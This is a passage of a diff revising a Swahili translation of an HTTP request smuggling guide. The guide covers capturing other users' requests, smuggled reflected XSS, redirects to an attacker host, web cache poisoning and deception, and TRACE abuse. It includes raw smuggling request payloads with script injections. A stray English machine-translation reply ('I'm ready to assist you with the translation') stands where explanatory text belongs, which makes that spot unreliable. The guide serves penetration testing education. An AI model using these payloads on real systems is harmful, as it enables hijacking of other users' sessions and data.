+Katika muundo huu, vipengele vya ombi vinavyofuata vinajumuishwa baada ya `search=`, ambayo ni parameter inayojitokeza katika jibu. Hii itafichua vichwa vya ombi vya baadaye.

-Ni muhimu kulinganisha kichwa cha `Content-Length` cha ombi lililo ndani na urefu halisi wa maudhui. Kuanzia na thamani ndogo na kuongezeka taratibu inashauriwa, kwani thamani ya chini sana itakata data iliyojitokeza, wakati thamani ya juu sana inaweza kusababisha ombi kufeli.
+Ni muhimu kulinganisha kichwa cha `Content-Length` cha ombi lililo ndani na urefu halisi wa maudhui. Kuanzia na thamani ndogo na kuongeza taratibu inashauriwa, kwani thamani ya chini sana itakata data iliyojitokeza, wakati thamani ya juu sana inaweza kusababisha ombi kufeli.

 Tekniki hii pia inatumika katika muktadha wa udhaifu wa TE.CL, lakini ombi linapaswa kumalizika na `search=\r\n0`. Bila kujali wahusika wa newline, thamani zitajumuishwa kwenye parameter ya utafutaji.

 Njia hii hasa inatumika kuelewa mabadiliko ya ombi yaliyofanywa na proxy ya mbele, kimsingi ikifanya uchunguzi wa kujielekeza.

-### Kukamata ombi za watumiaji wengine <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
+### Kukamata maombi ya watumiaji wengine <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>

-Ni rahisi kukamata ombi za mtumiaji anayefuata kwa kuongeza ombi maalum kama thamani ya parameter wakati wa operesheni ya POST. Hapa kuna jinsi hii inaweza kufanywa:
+Ni rahisi kukamata maombi ya mtumiaji anayefuata kwa kuongeza ombi maalum kama thamani ya parameter wakati wa operesheni ya POST. Hapa kuna jinsi hii inaweza kufanywa:

 Kwa kuongeza ombi lifuatalo kama thamani ya parameter, unaweza kuhifadhi ombi la mteja anayefuata:
 ```
@ -481,18 +481,18 @@ Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

 csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
 ```
-Katika hali hii, **parameta ya maoni** inakusudia kuhifadhi maudhui ndani ya sehemu ya maoni ya chapisho kwenye ukurasa unaopatikana hadharani. Kwa hivyo, maudhui ya ombi linalofuata yataonekana kama maoni.
+Katika hali hii, **parameta ya maoni** inakusudia kuhifadhi maudhui ndani ya sehemu ya maoni ya chapisho kwenye ukurasa unaopatikana kwa umma. Kwa hivyo, maudhui ya ombi linalofuata yataonekana kama maoni.

-Hata hivyo, mbinu hii ina mipaka. Kwa ujumla, inakamata data tu hadi kwenye kipimo cha parameta kilichotumika katika ombi lililosafirishwa. Kwa uwasilishaji wa fomu iliyo na URL-encoded, kipimo hiki ni herufi `&`. Hii ina maana kwamba maudhui yaliyokamatwa kutoka kwa ombi la mtumiaji waathirika yatakoma kwenye `&` ya kwanza, ambayo inaweza hata kuwa sehemu ya mfuatano wa swali.
+Hata hivyo, mbinu hii ina mipaka. Kwa ujumla, inakamata data tu hadi kwenye kipimo cha parameta kilichotumika katika ombi lililosafirishwa. Kwa uwasilishaji wa fomu iliyohifadhiwa kwenye URL, kipimo hiki ni herufi `&`. Hii ina maana kwamba maudhui yaliyokamatwa kutoka kwa ombi la mtumiaji waathirika yatakoma kwenye `&` ya kwanza, ambayo inaweza hata kuwa sehemu ya mfuatano wa swali.

-Zaidi ya hayo, inafaa kutaja kwamba njia hii pia inapatikana na udhaifu wa TE.CL. Katika hali kama hizo, ombi linapaswa kumalizika na `search=\r\n0`. Bila kujali wahusika wa mistari mipya, thamani zitajumuishwa kwenye parameta ya utafutaji.
+Zaidi ya hayo, inafaa kutaja kwamba mbinu hii pia inapatikana na udhaifu wa TE.CL. Katika hali kama hizo, ombi linapaswa kumalizika na `search=\r\n0`. Bila kujali wahusika wa mistari mipya, thamani zitajumuishwa kwenye parameta ya utafutaji.

 ### Kutumia HTTP request smuggling kutekeleza XSS iliyorejelewa

 HTTP Request Smuggling inaweza kutumika kutekeleza kurasa za wavuti zilizo hatarini kwa **Reflected XSS**, ikitoa faida kubwa:

 - Maingiliano na watumiaji wa lengo **hayahitajiki**.
- Inaruhusu matumizi ya XSS katika sehemu za ombi ambazo **kwa kawaida hazipatikani**, kama vichwa vya ombi la HTTP.
+- Inaruhusu kutekeleza XSS katika sehemu za ombi ambazo **kwa kawaida hazipatikani**, kama vichwa vya ombi la HTTP.

 Katika hali ambapo tovuti inakabiliwa na Reflected XSS kupitia kichwa cha User-Agent, mzigo ufuatao unaonyesha jinsi ya kutumia udhaifu huu:
 ```
@ -517,9 +517,9 @@ A=
 ```
 Hii payload imeundwa ili kutumia udhaifu kwa:

-1. Kuanzisha ombi la `POST`, ambalo linaonekana kuwa la kawaida, lenye kichwa cha `Transfer-Encoding: chunked` kuashiria mwanzo wa smuggling.
+1. Kuanzisha ombi la `POST`, ambalo linaonekana kuwa la kawaida, lenye kichwa cha `Transfer-Encoding: chunked` kuashiria kuanza kwa smuggling.
 2. Kufuatia na `0`, ikionyesha mwisho wa ujumbe wa chunked.
-3. Kisha, ombi la smuggled `GET` linaanzishwa, ambapo kichwa cha `User-Agent` kinajumuishwa na script, `<script>alert(1)</script>`, ikichochea XSS wakati seva inashughulikia ombi hili linalofuata.
+3. Kisha, ombi la smuggled `GET` linaanzishwa, ambapo kichwa cha `User-Agent` kinachomekwa na script, `<script>alert(1)</script>`, ikichochea XSS wakati seva inashughulikia ombi hili linalofuata.

 Kwa kubadilisha `User-Agent` kupitia smuggling, payload inakwepa vikwazo vya kawaida vya ombi, hivyo kutumia udhaifu wa Reflected XSS kwa njia isiyo ya kawaida lakini yenye ufanisi.

@ -528,9 +528,9 @@ Kwa kubadilisha `User-Agent` kupitia smuggling, payload inakwepa vikwazo vya kaw
 > [!CAUTION]
 > Ikiwa maudhui ya mtumiaji yanarejelewa katika jibu lenye **`Content-type`** kama **`text/plain`**, kuzuia utekelezaji wa XSS. Ikiwa seva inasaidia **HTTP/0.9 inaweza kuwa inawezekana kupita hii**!

-Toleo la HTTP/0.9 lilikuwa kabla ya 1.0 na linatumia tu vitenzi vya **GET** na **halijibu** kwa **kichwa**, bali tu mwili.
+Toleo la HTTP/0.9 lilikuwa kabla ya 1.0 na linatumia tu vitenzi vya **GET** na **halijibu** kwa **headers**, bali tu mwili.

-Katika [**hii andiko**](https://mizu.re/post/twisty-python), hii ilitumiwa vibaya na smuggling ya ombi na **nukta ya hatari ambayo itajibu na maudhui ya mtumiaji** ili smuggle ombi na HTTP/0.9. Kigezo ambacho kitarejelewa katika jibu kilikuwa na **jibu la uwongo la HTTP/1.1 (pamoja na vichwa na mwili)** hivyo jibu litakuwa na msimbo halali wa JS unaoweza kutekelezwa wenye `Content-Type` wa `text/html`.
+Katika [**hii andiko**](https://mizu.re/post/twisty-python), hii ilitumiwa vibaya na smuggling ya ombi na **nukta ya hatari ambayo itajibu na maudhui ya mtumiaji** ili smuggle ombi na HTTP/0.9. Kigezo ambacho kitarejelewa katika jibu kilikuwa na **jibu la uwongo la HTTP/1.1 (pamoja na headers na mwili)** hivyo jibu litakuwa na msimbo wa JS unaoweza kutekelezwa kwa `Content-Type` ya `text/html`.

 ### Kutumia Mwelekeo wa Kwenye Tovuti kwa HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>

@ -558,7 +558,7 @@ GET /home HTTP/1.1
 Host: attacker-website.com
 Foo: X
 ```
-Ombi hili lililofichwa linaweza kusababisha ombi la mtumiaji linalofuatia kushindwa kuelekezwa kwenye tovuti inayodhibitiwa na mshambuliaji:
+Ombi hili lililofichwa linaweza kusababisha ombi la mtumiaji linalofuatia kushughulikiwa kuhamasishwa kwa tovuti inayodhibitiwa na mshambuliaji:
 ```
 GET /home HTTP/1.1
 Host: attacker-website.com
@ -576,9 +576,9 @@ Katika hali hii, ombi la mtumiaji la faili la JavaScript linachukuliwa. Mshambul

 Upoisonaji wa kivinjari cha mtandao unaweza kutekelezwa ikiwa sehemu yoyote ya **miundombinu ya mbele inahifadhi maudhui**, kawaida ili kuboresha utendaji. Kwa kubadilisha jibu la seva, inawezekana **kuponya kivinjari**.

-Awali, tuliona jinsi majibu ya seva yanaweza kubadilishwa ili kurudisha kosa la 404 (rejelea [Mifano ya Msingi](#basic-examples)). Vivyo hivyo, inawezekana kudanganya seva ili kutoa maudhui ya `/index.html` kama jibu la ombi la `/static/include.js`. Kwa hivyo, maudhui ya `/static/include.js` yanabadilishwa katika kivinjari na yale ya `/index.html`, na kufanya `/static/include.js` isiweze kupatikana kwa watumiaji, ambayo inaweza kusababisha Denial of Service (DoS).
+Awali, tuliona jinsi majibu ya seva yanaweza kubadilishwa ili kurudisha kosa la 404 (rejelea [Mifano ya Msingi](#basic-examples)). Vivyo hivyo, inawezekana kudanganya seva ili kutoa maudhui ya `/index.html` kama jibu la ombi la `/static/include.js`. Kwa hivyo, maudhui ya `/static/include.js` yanabadilishwa katika kivinjari na yale ya `/index.html`, na kufanya `/static/include.js` isiweze kupatikana kwa watumiaji, ambayo inaweza kusababisha Kukatizwa kwa Huduma (DoS).

-Teknolojia hii inakuwa na nguvu hasa ikiwa kuna **udhaifu wa Open Redirect** ulio gundulika au ikiwa kuna **mwelekeo wa ndani kwa mwelekeo wazi**. Udukuzi kama huu unaweza kutumika kubadilisha maudhui yaliyohifadhiwa ya `/static/include.js` na script chini ya udhibiti wa mshambuliaji, hivyo kuwezesha shambulio la Cross-Site Scripting (XSS) dhidi ya wateja wote wanaotafuta `/static/include.js` iliyosasishwa.
+Teknolojia hii inakuwa na nguvu hasa ikiwa **udhaifu wa Open Redirect** unapatikana au ikiwa kuna **mwelekeo wa ndani kwa mwelekeo wazi**. Udhaifu kama huu unaweza kutumika kubadilisha maudhui yaliyohifadhiwa ya `/static/include.js` na script chini ya udhibiti wa mshambuliaji, hivyo kuwezesha shambulio la pana la Cross-Site Scripting (XSS) dhidi ya wateja wote wanaoomba `/static/include.js` iliyosasishwa.

 Hapa kuna mfano wa kutumia **upoisonaji wa kivinjari pamoja na mwelekeo wa ndani kwa mwelekeo wazi**. Lengo ni kubadilisha maudhui ya kivinjari ya `/static/include.js` ili kutoa msimbo wa JavaScript unaodhibitiwa na mshambuliaji:
 ```
@ -598,9 +598,9 @@ Content-Length: 10

 x=1
 ```
-Kumbuka ombi lililojumuishwa linalolenga `/post/next?postId=3`. Ombi hili litarejelewa kwa `/post?postId=4`, likitumia **thamani ya kichwa cha Host** kubaini jina la kikoa. Kwa kubadilisha **kichwa cha Host**, mshambuliaji anaweza kuelekeza ombi hilo kwa kikoa chao (**mwelekeo wa ndani kuelekea mwelekeo wazi**).
+Kumbuka ombi lililojumuishwa linalolenga `/post/next?postId=3`. Ombi hili litapelekwa kwa `/post?postId=4`, likitumia **thamani ya kichwa cha Host** kubaini kikoa. Kwa kubadilisha **kichwa cha Host**, mshambuliaji anaweza kuelekeza ombi hilo kwa kikoa chao (**mwelekeo wa ndani kuelekea mwelekeo wazi**).

-Baada ya **kuharibu socket** kwa mafanikio, **ombile la GET** kwa `/static/include.js` linapaswa kuanzishwa. Ombi hili litakuwa na maambukizi kutoka kwa ombi la awali la **mwelekeo wa ndani kuelekea mwelekeo wazi** na kuchukua maudhui ya skripti inayodhibitiwa na mshambuliaji.
+Baada ya **kuharibu socket** kwa mafanikio, **ombile la GET** kwa `/static/include.js` linapaswa kuanzishwa. Ombi hili litachafuka kutokana na ombi la awali la **mwelekeo wa ndani kuelekea mwelekeo wazi** na kuchukua maudhui ya skripti inayodhibitiwa na mshambuliaji.

 Baadaye, ombi lolote kwa `/static/include.js` litatoa maudhui yaliyohifadhiwa ya skripti ya mshambuliaji, kwa ufanisi kuanzisha shambulio kubwa la XSS.

@ -608,10 +608,10 @@ Baadaye, ombi lolote kwa `/static/include.js` litatoa maudhui yaliyohifadhiwa ya

 > **Ni tofauti gani kati ya kuharibu cache ya wavuti na udanganyifu wa cache ya wavuti?**
 >
-> - Katika **kuharibu cache ya wavuti**, mshambuliaji anasababisha programu kuhifadhi maudhui mabaya katika cache, na maudhui haya yanatolewa kutoka kwenye cache kwa watumiaji wengine wa programu.
-> - Katika **udanganyifu wa cache ya wavuti**, mshambuliaji anasababisha programu kuhifadhi maudhui nyeti yanayomilikiwa na mtumiaji mwingine katika cache, na mshambuliaji kisha anapata maudhui haya kutoka kwenye cache.
+> - Katika **kuharibu cache ya wavuti**, mshambuliaji anasababisha programu kuhifadhi maudhui fulani ya uharibifu katika cache, na maudhui haya yanatolewa kutoka kwenye cache kwa watumiaji wengine wa programu.
+> - Katika **udanganyifu wa cache ya wavuti**, mshambuliaji anasababisha programu kuhifadhi maudhui fulani nyeti yanayomilikiwa na mtumiaji mwingine katika cache, na mshambuliaji kisha anachukua maudhui haya kutoka kwenye cache.

-Mshambuliaji anaunda ombi lililofichwa linalopata maudhui nyeti ya mtumiaji maalum. Fikiria mfano ufuatao:
+Mshambuliaji anaunda ombi lililofichwa linalochukua maudhui nyeti ya mtumiaji maalum. Fikiria mfano ufuatao:
 ```markdown
 `POST / HTTP/1.1`\
 `Host: vulnerable-website.com`\
@ -626,13 +626,13 @@ Ikiwa ombi hili lililofichwa linachafua kipengee cha cache kilichokusudiwa kwa m

 ### Kutumia TRACE kupitia HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>

-[**Katika chapisho hili**](https://portswigger.net/research/trace-desync-attack) inapendekezwa kwamba ikiwa seva ina njia ya TRACE iliyoanzishwa inaweza kuwa inawezekana kuitumia vibaya na HTTP Request Smuggling. Hii ni kwa sababu njia hii itareflect kila kichwa kilichotumwa kwa seva kama sehemu ya mwili wa jibu. Kwa mfano:
+[**Katika chapisho hili**](https://portswigger.net/research/trace-desync-attack) inapendekezwa kwamba ikiwa seva ina njia ya TRACE iliyoanzishwa inaweza kuwa inawezekana kuitumia vibaya na HTTP Request Smuggling. Hii ni kwa sababu njia hii itarejesha kichwa chochote kilichotumwa kwa seva kama sehemu ya mwili wa jibu. Kwa mfano:
 ```
 TRACE / HTTP/1.1
 Host: example.com
 XSS: <script>alert("TRACE")</script>
 ```
-I'm ready to assist you with the translation. Please provide the text you would like me to translate to Swahili.
+I'm ready to assist you with the translation. Please provide the text you would like to have translated.
 ```
 HTTP/1.1 200 OK
 Content-Type: message/http
@ -649,9 +649,9 @@ Jibu hili litatumwa kwa ombi linalofuata kupitia muunganisho, hivyo hili linawez

 ### Kutumia TRACE kupitia HTTP Response Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>

-Endelea kufuata [**hiki kipande**](https://portswigger.net/research/trace-desync-attack) kinapendekeza njia nyingine ya kutumia mbinu ya TRACE. Kama ilivyotajwa, kuficha ombi la HEAD na ombi la TRACE inawezekana **kudhibiti baadhi ya data inayorejelewa** katika jibu la ombi la HEAD. Urefu wa mwili wa ombi la HEAD kimsingi unashauriwa katika kichwa cha Content-Length na unaundwa na jibu la ombi la TRACE.
+Endelea kufuata [**hiki chapisho**](https://portswigger.net/research/trace-desync-attack) kinapendekeza njia nyingine ya kutumia mbinu ya TRACE. Kama ilivyotajwa, kuficha ombi la HEAD na ombi la TRACE inawezekana **kudhibiti baadhi ya data inayorejelewa** katika jibu la ombi la HEAD. Urefu wa mwili wa ombi la HEAD kimsingi unatajwa katika kichwa cha Content-Length na unaundwa na jibu la ombi la TRACE.

-Kwa hivyo, wazo jipya lingeweza kuwa, kujua Content-Length hii na data iliyotolewa katika jibu la TRACE, inawezekana kufanya jibu la TRACE liwe na jibu halali la HTTP baada ya byte ya mwisho ya Content-Length, ikiruhusu mshambuliaji kudhibiti kabisa ombi kwa jibu linalofuata (ambalo linaweza kutumika kufanya uharibifu wa cache).
+Kwa hivyo, wazo jipya lingeweza kuwa, kwa kujua Content-Length hii na data iliyotolewa katika jibu la TRACE, inawezekana kufanya jibu la TRACE liwe na jibu halali la HTTP baada ya byte ya mwisho ya Content-Length, ikiruhusu mshambuliaji kudhibiti kabisa ombi kwa jibu linalofuata (ambalo linaweza kutumika kufanya uchafuzi wa cache).

 Mfano:
 ```